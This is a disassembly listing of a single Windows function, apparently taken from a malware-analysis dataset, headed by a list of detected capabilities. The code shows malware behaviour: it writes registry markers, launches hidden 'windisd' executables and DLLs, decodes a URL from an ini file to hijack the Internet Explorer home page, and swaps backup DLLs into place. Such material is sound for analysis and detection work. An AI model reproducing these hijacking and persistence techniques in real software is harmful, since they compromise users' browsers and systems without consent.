Function at 0x40115f
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create process on windows
Delete file
Get common file path
Get file attributes
Get program files directory
Read .ini file
Self delete

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1334
call fcn.00402160
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x408178
push 0x64
push dword [ebp + 8]
mov ecx, 0x40d008
mov ebx, eax
push 0x40d1b8
call fcn.004017fa
mov esi, 0x40a248
lea edi, [ebp - 4]
movsw word es:[edi], word [esi]
lea eax, [ebp - 4]
mov dword [0x40d1b0], 1
push eax
push ebx
movsb byte es:[edi], byte [esi]
call section..text
mov esi, eax
xor ebx, ebx
pop ecx
cmp esi, ebx
pop ecx
je 0x401201
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push str.UnregServer
push esi
call edi
test eax, eax
je 0x40166f
push str.RegServer
push esi
call edi
test eax, eax
je 0x40167b
push str.Service
push esi
call edi
test eax, eax
je 0x40167e
lea eax, [ebp - 4]
push eax
push esi
call section..text
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jne 0x4011bf
lea eax, [ebp - 8]
mov edi, str.SYSTEMCurrentControlSetServicesTcpipParameters
push eax
push str.UserInit
mov esi, 0x80000002
push edi
push esi
mov dword [ebp - 8], ebx
call fcn.00401ae3
add esp, 0x10
test byte [ebp - 8], 2
je 0x401246
mov ecx, 0x40d008
call fcn.004019f9
mov eax, dword [ebp - 8]
and al, 0xfd
push eax
push str.UserInit
push edi
push esi
call fcn.004010fc
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x18]
push 0x64
cdq
pop ecx
idiv ecx
movzx eax, word [ebp - 0x16]
imul edx, edx, 0x64
add edx, eax
movzx eax, word [ebp - 0x12]
imul edx, edx, 0x64
add edx, eax
movzx eax, word [ebp - 0x10]
imul edx, edx, 0x64
add edx, eax
movzx eax, word [ebp - 0xe]
imul edx, edx, 0x64
add edx, eax
push edx
push str.IPMark1
push edi
push esi
call fcn.004010fc
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x11b]
mov byte [ebp - 0x11c], bl
push 0x40
mov esi, 0x104
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x220]
push eax
call fcn.004020e0
pop ecx
mov cl, byte [ebp + eax - 0x220]
dec eax
cmp cl, 0x5c
jne 0x4012c5
mov byte [ebp + eax - 0x21e], bl
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x630]
push eax
call fcn.00401f90
lea eax, [ebp - 0x630]
push str.windisd_suv_runvi.exe
push eax
call fcn.00401fa0
lea eax, [ebp - 0x428]
push 0x40a1c4
push eax
call fcn.00401f90
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.00401fa0
lea eax, [ebp - 0x428]
push str.windisddisdnet.dll_
push eax
call fcn.00401fa0
add esp, 0x28
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401370
not eax
shr eax, 4
and eax, 1
mov dword [ebp + 8], eax
je 0x401370
push ebx
lea eax, [ebp - 0x428]
push ebx
push eax
lea eax, [ebp - 0x630]
push eax
push str.Open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x220]
push str.windisdupsoar.ini
push eax
call fcn.00401fa0
pop ecx
lea eax, [ebp - 0x220]
pop ecx
push eax
lea eax, [ebp - 0x11c]
push esi
push eax
push 0x40d1f4
push str.deliver
push str.Option
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [ebp - 0x11c], bl
je 0x4014f9
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x11c]
push eax
mov dword [ebp + 8], ebx
call edi
test eax, eax
jle 0x4013ec
mov eax, dword [ebp + 8]
add byte [ebp + eax - 0x11c], 0xfc
inc dword [ebp + 8]
lea eax, [ebp + eax - 0x11c]
lea eax, [ebp - 0x11c]
push eax
call edi
cmp dword [ebp + 8], eax
jl 0x4013c9
push 7
lea eax, [ebp - 0x11c]
push str.http:__
push eax
call fcn.00407060
add esp, 0xc
test eax, eax
je 0x401424
push 4
lea eax, [ebp - 0x11c]
push str.www.
push eax
call fcn.00407060
add esp, 0xc
test eax, eax
jne 0x4014f9
push ebx
lea eax, [ebp - 0xb34]
push 0x26
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0xf33]
mov byte [ebp - 0xf34], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xf34]
push 0x40a1c4
push eax
call fcn.00401fa0
lea eax, [ebp - 0xb34]
push eax
lea eax, [ebp - 0xf34]
push eax
call fcn.00401fa0
lea eax, [ebp - 0xf34]
push str.Internet_Exploreriexplore.exe_
push eax
call fcn.00401fa0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0xf34]
push eax
call fcn.00401fa0
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x52b]
mov byte [ebp - 0x52c], bl
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x52c]
mov edi, str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
push eax
push 0x40d1f4
mov esi, 0x80000000
push edi
push esi
call fcn.00401a81
lea eax, [ebp - 0xf34]
push eax
lea eax, [ebp - 0x52c]
push eax
call fcn.00406f90
add esp, 0x3c
test eax, eax
je 0x4014f9
lea eax, [ebp - 0xf34]
push eax
push 0x40d1f4
push edi
push esi
call fcn.00401084
add esp, 0x10
push ebx
lea eax, [ebp - 0x324]
push 0x23
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x324]
push str.C:Documents_and_SettingsAll_UsersApplication_Data
push eax
call fcn.00401f90
mov edx, 0xff
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0xa2f]
mov byte [ebp - 0xa30], bl
mov byte [ebp - 0x1334], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x1333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0xa30]
push eax
call fcn.00401f90
lea eax, [ebp - 0xa30]
push str.windisdwindisd.dll.bak
push eax
call fcn.00401fa0
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x1334]
push eax
call fcn.00401f90
lea eax, [ebp - 0x1334]
push str.windisdwindisd.dll
push eax
call fcn.00401fa0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0x28
lea eax, [ebp - 0xa30]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 0xffffffff
je 0x4015de
not eax
shr eax, 4
and eax, 1
mov dword [ebp + 8], eax
je 0x4015de
lea eax, [ebp - 0x1334]
push ebx
push eax
lea eax, [ebp - 0xa30]
push eax
call edi
test eax, eax
je 0x4015de
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0xa30]
push eax
call fcn.00401f90
lea eax, [ebp - 0xa30]
push str.windisddisdnet.dll.bak
push eax
call fcn.00401fa0
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x1334]
push eax
call fcn.00401f90
lea eax, [ebp - 0x1334]
push str.windisddisdnet.dll
push eax
call fcn.00401fa0
add esp, 0x20
lea eax, [ebp - 0xa30]
push eax
call esi
cmp eax, 0xffffffff
je 0x401666
not eax
shr eax, 4
and eax, 1
mov dword [ebp + 8], eax
je 0x401666
lea eax, [ebp - 0x1334]
push ebx
push eax
lea eax, [ebp - 0xa30]
push eax
call edi
test eax, eax
je 0x401666
lea eax, [ebp - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
mov ecx, 0x40d008
call fcn.004017c1
jmp 0x401668
push ebx
jmp 0x401680
push 1
push 1
mov ecx, 0x40d008
call fcn.0040168e
jmp 0x401668